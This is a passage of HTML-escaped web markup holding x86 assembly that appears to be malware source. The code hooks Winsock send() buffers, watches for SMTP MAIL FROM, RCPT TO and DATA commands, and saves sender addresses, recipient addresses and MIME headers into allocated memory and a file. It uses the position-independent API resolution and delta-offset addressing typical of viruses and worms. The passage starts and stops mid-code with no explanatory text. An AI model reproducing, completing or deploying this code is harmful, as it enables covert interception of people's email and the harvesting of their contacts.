style=""&gt;        &lt;/span&gt;call WRITE_TO_FILE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;DontStore:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + status], 00h&lt;span style=""&gt;                               &lt;/span&gt;; monitoring==true ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CheckMailFrom&lt;span style=""&gt;                              &lt;/span&gt;; yes, we are&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + status], 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CheckRcptTo&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + status], 03h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CheckMimeFrom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + status], 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CheckQuit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckMailFrom:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;; send() buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;; size of buffer&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [esi], 'LIAM'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;StoreMailFromTag:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call WRITE_TO_FILE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SaveMailFrom:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + fromsize], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz ErrorWhileSending&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + fromaddress], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + status], 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckRcptTo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;; send() buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;; size of buffer&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [esi], 'TPCR'&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne CheckData&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AllocateRcptMemory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + rcptnumber], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne SaveRcptTo&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 500h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz ErrorWhileSending&lt;span style=""&gt;                          &lt;/span&gt;; mem for rctp email&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + rcpt_buffer_address], eax&lt;span style=""&gt;          &lt;/span&gt;; addresses&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 100h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz ErrorWhileSending&lt;span style=""&gt;                  &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;; mem for size of rctp &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + rcpt_size_address], eax&lt;span style=""&gt;            &lt;/span&gt;; email addresses&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SaveRcptTo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;span style=""&gt;                                      &lt;/span&gt;; store rcpt string&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, [ebp + rcpt_buffer_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + totalrcptsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, [ebp + rcpt_size_address]&lt;span style=""&gt;            &lt;/span&gt;; store rcpt string size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + rcptnumber]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, 04h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov dword ptr [edi], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + totalrcptsize]&lt;span style=""&gt;                &lt;/span&gt;; calculate total size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; of rcpts&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + totalrcptsize], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + rcptnumber]&lt;span style=""&gt;                   &lt;/span&gt;; calculate number of &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, 01h&lt;span style=""&gt;                                  &lt;/span&gt;; rcpt we have&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + rcptnumber], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckData:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;; send() buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;; size of buffer&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [esi], 'ATAD'&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + status], 03h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckMimeFrom:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;; send() buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;; size of buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MimeFromLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea edi, [ebp + fromtag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep cmpsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SearchMimeFromEnd&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;loop MimeFromLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckMimeTo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MimeToLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea edi, [ebp + totag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 03h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep cmpsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SearchMimeToEnd&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;loop MimeToLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp CheckQuit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SearchMimeFromEnd:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;FromEndLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea edi, [ebp + mimeendtag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep cmpsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SaveMimeFrom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;loop FromEndLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp Continue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SaveMimeFrom:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub eax, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ecx, 03h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + mimefromsize], ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz MimeError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + mimefrom_address], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rep movsb&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + fromstatus], 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [ebp + tostatus], 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne CheckMimeTo&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + status], 05h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp CheckQuit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SearchMimeToEnd:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ToEndLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea edi, [ebp + toendtag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 